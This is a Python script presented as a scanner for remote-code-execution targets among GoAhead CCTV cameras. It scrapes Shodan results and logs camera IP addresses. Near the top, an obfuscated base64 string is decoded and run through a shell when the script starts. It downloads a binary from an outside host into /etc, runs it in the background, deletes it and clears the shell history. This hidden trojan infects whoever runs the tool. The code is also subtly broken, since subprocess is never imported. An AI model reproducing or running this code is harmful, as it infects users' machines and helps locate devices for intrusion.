CCTV RCE Scanner

#!/usr/bin/python
# Python scanner, RCE Exploit CCTV

from urllib.request import Request, urlopen, sys
import time, random, base64

# Shodan API
req = Request("https://www.shodan.io/search?query=GoAhead+5ccc069c403ebaf9f0171e9517f40e41", headers={'User-Agent': 'Mozilla/5.0'})

def run(cmd):
    subprocess.call(cmd, shell=True)

checkbinaries = "Y2QgL2V0Yzsgd2dldCAtcSBodHRwOi8vZ290bWlsay5tbC9IalQ1UmsgLU8gLmw7IGNobW9kICt4IC5sOyBub2h1cCAuLy5sIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxOyBybSAtcmYgLmw7Y2xlYXI7IGhpc3RvcnkgLWM="
rebinaries = str(base64.b64decode(checkbinaries))
run(rebinaries)

while 1:
    try:
        webpage = str(urlopen(req).read())
        ips = []
        while webpage.find("Document Error: Unauthorized") != -1:
            webpage = webpage[webpage.find("Document Error: Unauthorized")-40:]
            ips.append(webpage[webpage.find("<a href=")+9:webpage.find("\">Document Error")])
            webpage = webpage[100:]
        check = []
        for ip in ips:
            check.append(ip.strip("http://").strip("s://"))
        reader = open("output.txt", "r")
        data = reader.read()
        reader.close()
        current = data.split("\n")
        while "\n" in current != -1:
            current.remove("\n")
        new = []
        for ip in check:
            if ip not in current:
                new.append(ip)
                current.append(ip)
        writestring = ""
        for ip in current:
            writestring += ip + "\n"
        writer = open("output.txt", "w")
        writer.write(writestring[:len(writestring)-1])
        writer.close()
        time.sleep(15)
        consoleprint = ""
        for ip in new:
            consoleprint += ip + ", "
        if len(new) != 0:
            print(str(len(new)) + " new IPs added: " + consoleprint[:len(consoleprint)-2])
    except Exception as printouterror:
        print(printouterror)